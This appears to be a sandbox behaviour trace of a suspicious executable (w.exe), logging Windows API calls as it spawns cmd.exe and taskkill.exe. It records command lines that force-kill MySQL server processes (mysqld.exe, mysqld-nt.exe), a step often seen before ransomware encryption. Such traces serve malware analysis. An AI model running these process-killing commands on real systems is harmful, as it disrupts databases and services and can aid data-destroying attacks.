	[0041.820] _wcsicmp (_String1="taskkill", _String2="TYPE") returned -24
	[0041.820] _wcsicmp (_String1="taskkill", _String2="COPY") returned 17
	[0041.820] _wcsicmp (_String1="taskkill", _String2="CD") returned 17
	[0041.820] _wcsicmp (_String1="taskkill", _String2="CHDIR") returned 17
	[0041.820] _wcsicmp (_String1="taskkill", _String2="RENAME") returned 2
	[0041.820] _wcsicmp (_String1="taskkill", _String2="REN") returned 2
	[0041.820] _wcsicmp (_String1="taskkill", _String2="ECHO") returned 15
	[0041.820] _wcsicmp (_String1="taskkill", _String2="SET") returned 1
	[0041.820] _wcsicmp (_String1="taskkill", _String2="PAUSE") returned 4
	[0041.820] _wcsicmp (_String1="taskkill", _String2="DATE") returned 16
	[0041.820] _wcsicmp (_String1="taskkill", _String2="TIME") returned -8
	[0041.820] _wcsicmp (_String1="taskkill", _String2="PROMPT") returned 4
	[0041.820] _wcsicmp (_String1="taskkill", _String2="MD") returned 7
	[0041.820] _wcsicmp (_String1="taskkill", _String2="MKDIR") returned 7
	[0041.820] _wcsicmp (_String1="taskkill", _String2="RD") returned 2
	[0041.821] _wcsicmp (_String1="taskkill", _String2="RMDIR") returned 2
	[0041.821] _wcsicmp (_String1="taskkill", _String2="PATH") returned 4
	[0041.821] _wcsicmp (_String1="taskkill", _String2="GOTO") returned 13
	[0041.821] _wcsicmp (_String1="taskkill", _String2="SHIFT") returned 1
	[0041.821] _wcsicmp (_String1="taskkill", _String2="CLS") returned 17
	[0041.821] _wcsicmp (_String1="taskkill", _String2="CALL") returned 17
	[0041.821] _wcsicmp (_String1="taskkill", _String2="VERIFY") returned -2
	[0041.821] _wcsicmp (_String1="taskkill", _String2="VER") returned -2
	[0041.821] _wcsicmp (_String1="taskkill", _String2="VOL") returned -2
	[0041.821] _wcsicmp (_String1="taskkill", _String2="EXIT") returned 15
	[0041.821] _wcsicmp (_String1="taskkill", _String2="SETLOCAL") returned 1
	[0041.821] _wcsicmp (_String1="taskkill", _String2="ENDLOCAL") returned 15
	[0041.821] _wcsicmp (_String1="taskkill", _String2="TITLE") returned -8
	[0041.821] _wcsicmp (_String1="taskkill", _String2="START") returned 1
	[0041.821] _wcsicmp (_String1="taskkill", _String2="DPATH") returned 16
	[0041.821] _wcsicmp (_String1="taskkill", _String2="KEYS") returned 9
	[0041.821] _wcsicmp (_String1="taskkill", _String2="MOVE") returned 7
	[0041.821] _wcsicmp (_String1="taskkill", _String2="PUSHD") returned 4
	[0041.821] _wcsicmp (_String1="taskkill", _String2="POPD") returned 4
	[0041.821] _wcsicmp (_String1="taskkill", _String2="ASSOC") returned 19
	[0041.821] _wcsicmp (_String1="taskkill", _String2="FTYPE") returned 14
	[0041.821] _wcsicmp (_String1="taskkill", _String2="BREAK") returned 18
	[0041.821] _wcsicmp (_String1="taskkill", _String2="COLOR") returned 17
	[0041.821] _wcsicmp (_String1="taskkill", _String2="MKLINK") returned 7
	[0041.821] _wcsicmp (_String1="taskkill", _String2="DIR") returned 16
	[0041.821] _wcsicmp (_String1="taskkill", _String2="ERASE") returned 15
	[0041.821] _wcsicmp (_String1="taskkill", _String2="DEL") returned 16
	[0041.821] _wcsicmp (_String1="taskkill", _String2="TYPE") returned -24
	[0041.821] _wcsicmp (_String1="taskkill", _String2="COPY") returned 17
	[0041.821] _wcsicmp (_String1="taskkill", _String2="CD") returned 17
	[0041.821] _wcsicmp (_String1="taskkill", _String2="CHDIR") returned 17
	[0041.822] _wcsicmp (_String1="taskkill", _String2="RENAME") returned 2
	[0041.822] _wcsicmp (_String1="taskkill", _String2="REN") returned 2
	[0041.822] _wcsicmp (_String1="taskkill", _String2="ECHO") returned 15
	[0041.822] _wcsicmp (_String1="taskkill", _String2="SET") returned 1
	[0041.822] _wcsicmp (_String1="taskkill", _String2="PAUSE") returned 4
	[0041.822] _wcsicmp (_String1="taskkill", _String2="DATE") returned 16
	[0041.822] _wcsicmp (_String1="taskkill", _String2="TIME") returned -8
	[0041.822] _wcsicmp (_String1="taskkill", _String2="PROMPT") returned 4
	[0041.822] _wcsicmp (_String1="taskkill", _String2="MD") returned 7
	[0041.822] _wcsicmp (_String1="taskkill", _String2="MKDIR") returned 7
	[0041.822] _wcsicmp (_String1="taskkill", _String2="RD") returned 2
	[0041.822] _wcsicmp (_String1="taskkill", _String2="RMDIR") returned 2
	[0041.822] _wcsicmp (_String1="taskkill", _String2="PATH") returned 4
	[0041.822] _wcsicmp (_String1="taskkill", _String2="GOTO") returned 13
	[0041.822] _wcsicmp (_String1="taskkill", _String2="SHIFT") returned 1
	[0041.822] _wcsicmp (_String1="taskkill", _String2="CLS") returned 17
	[0041.822] _wcsicmp (_String1="taskkill", _String2="CALL") returned 17
	[0041.822] _wcsicmp (_String1="taskkill", _String2="VERIFY") returned -2
	[0041.822] _wcsicmp (_String1="taskkill", _String2="VER") returned -2
	[0041.822] _wcsicmp (_String1="taskkill", _String2="VOL") returned -2
	[0041.822] _wcsicmp (_String1="taskkill", _String2="EXIT") returned 15
	[0041.822] _wcsicmp (_String1="taskkill", _String2="SETLOCAL") returned 1
	[0041.822] _wcsicmp (_String1="taskkill", _String2="ENDLOCAL") returned 15
	[0041.822] _wcsicmp (_String1="taskkill", _String2="TITLE") returned -8
	[0041.822] _wcsicmp (_String1="taskkill", _String2="START") returned 1
	[0041.822] _wcsicmp (_String1="taskkill", _String2="DPATH") returned 16
	[0041.822] _wcsicmp (_String1="taskkill", _String2="KEYS") returned 9
	[0041.822] _wcsicmp (_String1="taskkill", _String2="MOVE") returned 7
	[0041.822] _wcsicmp (_String1="taskkill", _String2="PUSHD") returned 4
	[0041.822] _wcsicmp (_String1="taskkill", _String2="POPD") returned 4
	[0041.822] _wcsicmp (_String1="taskkill", _String2="ASSOC") returned 19
	[0041.822] _wcsicmp (_String1="taskkill", _String2="FTYPE") returned 14
	[0041.822] _wcsicmp (_String1="taskkill", _String2="BREAK") returned 18
	[0041.822] _wcsicmp (_String1="taskkill", _String2="COLOR") returned 17
	[0041.822] _wcsicmp (_String1="taskkill", _String2="MKLINK") returned 7
	[0041.822] _wcsicmp (_String1="taskkill", _String2="FOR") returned 14
	[0041.822] _wcsicmp (_String1="taskkill", _String2="IF") returned 11
	[0041.823] _wcsicmp (_String1="taskkill", _String2="REM") returned 2
	[0041.823] GetProcessHeap () returned 0x760000
	[0041.823] RtlAllocateHeap (HeapHandle=0x760000, Flags=0x8, Size=0x210) returned 0x7731e0
	[0041.823] GetProcessHeap () returned 0x760000
	[0041.823] RtlAllocateHeap (HeapHandle=0x760000, Flags=0x8, Size=0x42) returned 0x7733f8
	[0041.823] _wcsnicmp (_String1="task", _String2="cmd ", _MaxCount=0x4) returned 17
	[0041.823] GetProcessHeap () returned 0x760000
	[0041.823] RtlAllocateHeap (HeapHandle=0x760000, Flags=0x8, Size=0x418) returned 0x7607f0
	[0041.823] SetErrorMode (uMode=0x0) returned 0x8003
	[0041.823] SetErrorMode (uMode=0x1) returned 0x0
	[0041.823] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x7607f8, lpFilePart=0x3dee00 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x3dee00*="Desktop") returned 0x25
	[0041.823] SetErrorMode (uMode=0x8003) returned 0x1
	[0041.824] GetProcessHeap () returned 0x760000
	[0041.824] RtlReAllocateHeap (Heap=0x760000, Flags=0x0, Ptr=0x7607f0, Size=0x66) returned 0x7607f0
	[0041.824] GetProcessHeap () returned 0x760000
	[0041.824] RtlSizeHeap (HeapHandle=0x760000, Flags=0x0, MemoryPointer=0x7607f0) returned 0x66
	[0041.824] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a290640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63
	[0041.824] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1
	[0041.824] GetProcessHeap () returned 0x760000
	[0041.824] RtlAllocateHeap (HeapHandle=0x760000, Flags=0x8, Size=0x120) returned 0x773448
	[0041.824] GetProcessHeap () returned 0x760000
	[0041.824] RtlAllocateHeap (HeapHandle=0x760000, Flags=0x8, Size=0x238) returned 0x760860
	[0041.826] GetProcessHeap () returned 0x760000
	[0041.826] RtlReAllocateHeap (Heap=0x760000, Flags=0x0, Ptr=0x760860, Size=0x122) returned 0x760860
	[0041.826] GetProcessHeap () returned 0x760000
	[0041.826] RtlSizeHeap (HeapHandle=0x760000, Flags=0x0, MemoryPointer=0x760860) returned 0x122
	[0041.826] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a290640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0041.826] GetProcessHeap () returned 0x760000
	[0041.826] RtlAllocateHeap (HeapHandle=0x760000, Flags=0x8, Size=0xe0) returned 0x760990
	[0041.826] GetProcessHeap () returned 0x760000
	[0041.826] RtlReAllocateHeap (Heap=0x760000, Flags=0x0, Ptr=0x760990, Size=0x76) returned 0x760990
	[0041.826] GetProcessHeap () returned 0x760000
	[0041.826] RtlSizeHeap (HeapHandle=0x760000, Flags=0x0, MemoryPointer=0x760990) returned 0x76
	[0041.826] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0041.826] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\taskkill.*", fInfoLevelId=0x1, lpFindFileData=0x3deb7c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x3deb7c) returned 0xffffffff
	[0041.826] GetLastError () returned 0x2
	[0041.826] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\taskkill", fInfoLevelId=0x1, lpFindFileData=0x3deb7c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x3deb7c) returned 0xffffffff
	[0041.826] GetLastError () returned 0x2
	[0041.826] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0041.827] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\taskkill.*", fInfoLevelId=0x1, lpFindFileData=0x3deb7c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x3deb7c) returned 0x773570
	[0041.827] GetProcessHeap () returned 0x760000
	[0041.827] RtlAllocateHeap (HeapHandle=0x760000, Flags=0x0, Size=0x14) returned 0x760a10
	[0041.827] FindClose (in: hFindFile=0x773570 | out: hFindFile=0x773570) returned 1
	[0041.827] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\taskkill.COM", fInfoLevelId=0x1, lpFindFileData=0x3deb7c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x3deb7c) returned 0xffffffff
	[0041.827] GetLastError () returned 0x2
	[0041.827] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\taskkill.EXE", fInfoLevelId=0x1, lpFindFileData=0x3deb7c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x3deb7c) returned 0x773570
	[0041.827] GetProcessHeap () returned 0x760000
	[0041.827] RtlReAllocateHeap (Heap=0x760000, Flags=0x0, Ptr=0x760a10, Size=0x4) returned 0x760a10
	[0041.827] FindClose (in: hFindFile=0x773570 | out: hFindFile=0x773570) returned 1
	[0041.827] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3
	[0041.827] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2
	[0041.827] GetConsoleTitleW (in: lpConsoleTitle=0x3df074, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\w.exe") returned 0x2b
	[0041.828] InitializeProcThreadAttributeList (in: lpAttributeList=0x3deefc, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x3defc4 | out: lpAttributeList=0x3deefc, lpSize=0x3defc4) returned 1
	[0041.828] UpdateProcThreadAttribute (in: lpAttributeList=0x3deefc, dwFlags=0x0, Attribute=0x60001, lpValue=0x3defbc, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x3deefc, lpPreviousValue=0x0) returned 1
	[0041.828] GetStartupInfoW (in: lpStartupInfo=0x3deeb8 | out: lpStartupInfo=0x3deeb8*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x100, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xac, hStdOutput=0xb8, hStdError=0xbc)) 
	[0041.828] GetProcessHeap () returned 0x760000
	[0041.828] RtlAllocateHeap (HeapHandle=0x760000, Flags=0x8, Size=0x18) returned 0x773570
	[0041.828] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38
	[0041.828] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2
	[0041.828] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2
	[0041.828] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0041.828] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0041.828] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0041.828] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3
	[0041.828] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3
	[0041.828] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3
	[0041.828] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5
	[0041.828] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5
	[0041.828] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9
	[0041.828] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9
	[0041.828] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11
	[0041.828] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12
	[0041.828] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13
	[0041.828] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13
	[0041.828] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0041.828] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0041.828] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0041.828] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0041.828] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0041.828] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0041.828] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0041.828] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0041.828] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0041.828] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13
	[0041.829] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13
	[0041.829] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13
	[0041.829] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16
	[0041.829] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16
	[0041.829] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17
	[0041.829] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17
	[0041.829] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18
	[0041.829] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18
	[0041.829] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18
	[0041.829] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20
	[0041.829] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20
	[0041.829] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20
	[0041.829] GetProcessHeap () returned 0x760000
	[0041.829] HeapFree (in: hHeap=0x760000, dwFlags=0x0, lpMem=0x773570 | out: hHeap=0x760000) returned 1
	[0041.829] GetProcessHeap () returned 0x760000
	[0041.829] RtlAllocateHeap (HeapHandle=0x760000, Flags=0x8, Size=0xa) returned 0x76fee0
	[0041.829] lstrcmpW (lpString1="\\taskkill.exe", lpString2="\\XCOPY.EXE") returned -1
	[0041.830] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\taskkill.exe", lpCommandLine="taskkill  /f /im mysqld.exe ", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x3def58*(cb=0x48, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="taskkill  /f /im mysqld.exe ", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x3defa4 | out: lpCommandLine="taskkill  /f /im mysqld.exe ", lpProcessInformation=0x3defa4*(hProcess=0x78, hThread=0x74, dwProcessId=0x928, dwThreadId=0x924)) returned 1
	[0041.835] CloseHandle (hObject=0x74) returned 1
	[0041.836] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1
	[0041.836] GetProcessHeap () returned 0x760000
	[0041.836] HeapFree (in: hHeap=0x760000, dwFlags=0x0, lpMem=0x775ed0 | out: hHeap=0x760000) returned 1
	[0041.836] GetEnvironmentStringsW () returned 0x784a48*
	[0041.836] GetProcessHeap () returned 0x760000
	[0041.836] RtlAllocateHeap (HeapHandle=0x760000, Flags=0x8, Size=0xb36) returned 0x774090
	[0041.836] FreeEnvironmentStringsW (penv=0x784a48) returned 1
	[0041.836] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0
	[0042.120] GetExitCodeProcess (in: hProcess=0x78, lpExitCode=0x3dee98 | out: lpExitCode=0x3dee98*=0x80) returned 1
	[0042.120] CloseHandle (hObject=0x78) returned 1
	[0042.120] _vsnwprintf (in: _Buffer=0x3defe0, _BufferCount=0x13, _Format="%08X", _ArgList=0x3deea4 | out: _Buffer="00000080") returned 8
	[0042.120] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000080") returned 1
	[0042.120] GetProcessHeap () returned 0x760000
	[0042.120] HeapFree (in: hHeap=0x760000, dwFlags=0x0, lpMem=0x774090 | out: hHeap=0x760000) returned 1
	[0042.120] GetEnvironmentStringsW () returned 0x774090*
	[0042.120] GetProcessHeap () returned 0x760000
	[0042.120] RtlAllocateHeap (HeapHandle=0x760000, Flags=0x8, Size=0xb5c) returned 0x775ed0
	[0042.120] FreeEnvironmentStringsW (penv=0x774090) returned 1
	[0042.120] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1
	[0042.120] GetProcessHeap () returned 0x760000
	[0042.120] HeapFree (in: hHeap=0x760000, dwFlags=0x0, lpMem=0x775ed0 | out: hHeap=0x760000) returned 1
	[0042.120] GetEnvironmentStringsW () returned 0x774090*
	[0042.120] GetProcessHeap () returned 0x760000
	[0042.120] RtlAllocateHeap (HeapHandle=0x760000, Flags=0x8, Size=0xb5c) returned 0x775ed0
	[0042.120] FreeEnvironmentStringsW (penv=0x774090) returned 1
	[0042.120] GetProcessHeap () returned 0x760000
	[0042.121] HeapFree (in: hHeap=0x760000, dwFlags=0x0, lpMem=0x76fee0 | out: hHeap=0x760000) returned 1
	[0042.121] DeleteProcThreadAttributeList (in: lpAttributeList=0x3deefc | out: lpAttributeList=0x3deefc) 
	[0042.121] _get_osfhandle (_FileHandle=1) returned 0xb8
	[0042.121] SetConsoleMode (hConsoleHandle=0xb8, dwMode=0x0) returned 0
	[0042.121] _get_osfhandle (_FileHandle=1) returned 0xb8
	[0042.121] GetConsoleMode (in: hConsoleHandle=0xb8, lpMode=0x4a2841ac | out: lpMode=0x4a2841ac) returned 0
	[0042.121] _get_osfhandle (_FileHandle=0) returned 0xac
	[0042.121] GetConsoleMode (in: hConsoleHandle=0xac, lpMode=0x4a2841b0 | out: lpMode=0x4a2841b0) returned 0
	[0042.121] GetConsoleOutputCP () returned 0x1b5
	[0042.121] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a284260 | out: lpCPInfo=0x4a284260) returned 1
	[0042.121] SetThreadUILanguage (LangId=0x0) returned 0x409
	[0042.121] exit (_Code=128) 

Process:
	id = "43"
	image_name = "taskkill.exe"
	filename = "c:\\windows\\syswow64\\taskkill.exe"
	page_root = "0x4abba000"
	os_pid = "0x928"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "42"
	os_parent_pid = "0x930"
	cmd_line = "taskkill  /f /im mysqld.exe "
	cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\"
	os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
	bitness = "32"
	os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 215
	os_tid = 0x924


Thread:
	id = 216
	os_tid = 0x920


Thread:
	id = 217
	os_tid = 0x91c


Thread:
	id = 218
	os_tid = 0x918


Thread:
	id = 219
	os_tid = 0x914


Process:
	id = "44"
	image_name = "cmd.exe"
	filename = "c:\\windows\\syswow64\\cmd.exe"
	page_root = "0x4b682000"
	os_pid = "0x90c"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "1"
	os_parent_pid = "0xad8"
	cmd_line = "cmd.exe /c \"taskkill /f /im mysqld-nt.exe \""
	cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\"
	os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
	bitness = "32"
	os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 220
	os_tid = 0x908

	[0042.203] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x28fc2c | out: lpSystemTimeAsFileTime=0x28fc2c*(dwLowDateTime=0xfecafef0, dwHighDateTime=0x1d52dc4)) 
	[0042.203] GetCurrentProcessId () returned 0x90c
	[0042.203] GetCurrentThreadId () returned 0x908
	[0042.203] GetTickCount () returned 0x1ac45
	[0042.203] QueryPerformanceCounter (in: lpPerformanceCount=0x28fc24 | out: lpPerformanceCount=0x28fc24*=16251273051) returned 1
	[0042.204] GetModuleHandleA (lpModuleName=0x0) returned 0x4a890000
	[0042.204] __set_app_type (_Type=0x1) 
	[0042.204] __p__fmode () returned 0x74eb31f4
	[0042.204] __p__commode () returned 0x74eb31fc
	[0042.204] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x4a8b21a6) returned 0x0
	[0042.204] __getmainargs (in: _Argc=0x4a8b4238, _Argv=0x4a8b4240, _Env=0x4a8b423c, _DoWildCard=0, _StartInfo=0x4a8b4140 | out: _Argc=0x4a8b4238, _Argv=0x4a8b4240, _Env=0x4a8b423c) returned 0
	[0042.204] GetCurrentThreadId () returned 0x908
	[0042.204] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0x908) returned 0x60
	[0042.204] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000
	[0042.205] GetProcAddress (hModule=0x76c20000, lpProcName="SetThreadUILanguage") returned 0x76c4a84f
	[0042.205] SetThreadUILanguage (LangId=0x0) returned 0x409
	[0042.205] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1
	[0042.205] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x28fbbc | out: phkResult=0x28fbbc*=0x0) returned 0x2
	[0042.205] VirtualQuery (in: lpAddress=0x28fbf3, lpBuffer=0x28fb8c, dwLength=0x1c | out: lpBuffer=0x28fb8c*(BaseAddress=0x28f000, AllocationBase=0x190000, AllocationProtect=0x4, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0042.205] VirtualQuery (in: lpAddress=0x190000, lpBuffer=0x28fb8c, dwLength=0x1c | out: lpBuffer=0x28fb8c*(BaseAddress=0x190000, AllocationBase=0x190000, AllocationProtect=0x4, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000)) returned 0x1c
	[0042.205] VirtualQuery (in: lpAddress=0x191000, lpBuffer=0x28fb8c, dwLength=0x1c | out: lpBuffer=0x28fb8c*(BaseAddress=0x191000, AllocationBase=0x190000, AllocationProtect=0x4, RegionSize=0x2000, State=0x1000, Protect=0x104, Type=0x20000)) returned 0x1c
	[0042.205] VirtualQuery (in: lpAddress=0x193000, lpBuffer=0x28fb8c, dwLength=0x1c | out: lpBuffer=0x28fb8c*(BaseAddress=0x193000, AllocationBase=0x190000, AllocationProtect=0x4, RegionSize=0xfd000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
	[0042.205] VirtualQuery (in: lpAddress=0x290000, lpBuffer=0x28fb8c, dwLength=0x1c | out: lpBuffer=0x28fb8c*(BaseAddress=0x290000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x70000, State=0x10000, Protect=0x1, Type=0x0)) returned 0x1c
	[0042.205] GetConsoleOutputCP () returned 0x1b5
	[0042.205] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a8b4260 | out: lpCPInfo=0x4a8b4260) returned 1
	[0042.206] SetConsoleCtrlHandler (HandlerRoutine=0x4a8ae72a, Add=1) returned 1
	[0042.206] _get_osfhandle (_FileHandle=1) returned 0xac
	[0042.206] SetConsoleMode (hConsoleHandle=0xac, dwMode=0x0) returned 0
	[0042.206] _get_osfhandle (_FileHandle=1) returned 0xac
	[0042.206] GetConsoleMode (in: hConsoleHandle=0xac, lpMode=0x4a8b41ac | out: lpMode=0x4a8b41ac) returned 0
	[0042.206] _get_osfhandle (_FileHandle=0) returned 0xc8
	[0042.206] GetConsoleMode (in: hConsoleHandle=0xc8, lpMode=0x4a8b41b0 | out: lpMode=0x4a8b41b0) returned 0
	[0042.206] GetEnvironmentStringsW () returned 0x442010*
	[0042.206] GetProcessHeap () returned 0x430000
	[0042.206] RtlAllocateHeap (HeapHandle=0x430000, Flags=0x8, Size=0xaca) returned 0x442ae8
	[0042.206] FreeEnvironmentStringsW (penv=0x442010) returned 1
	[0042.206] GetProcessHeap () returned 0x430000
	[0042.207] RtlAllocateHeap (HeapHandle=0x430000, Flags=0x8, Size=0x4) returned 0x440c48
	[0042.207] GetEnvironmentStringsW () returned 0x442010*
	[0042.207] GetProcessHeap () returned 0x430000
	[0042.207] RtlAllocateHeap (HeapHandle=0x430000, Flags=0x8, Size=0xaca) returned 0x4435c0
	[0042.207] FreeEnvironmentStringsW (penv=0x442010) returned 1
	[0042.207] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x28eb2c | out: phkResult=0x28eb2c*=0x68) returned 0x0
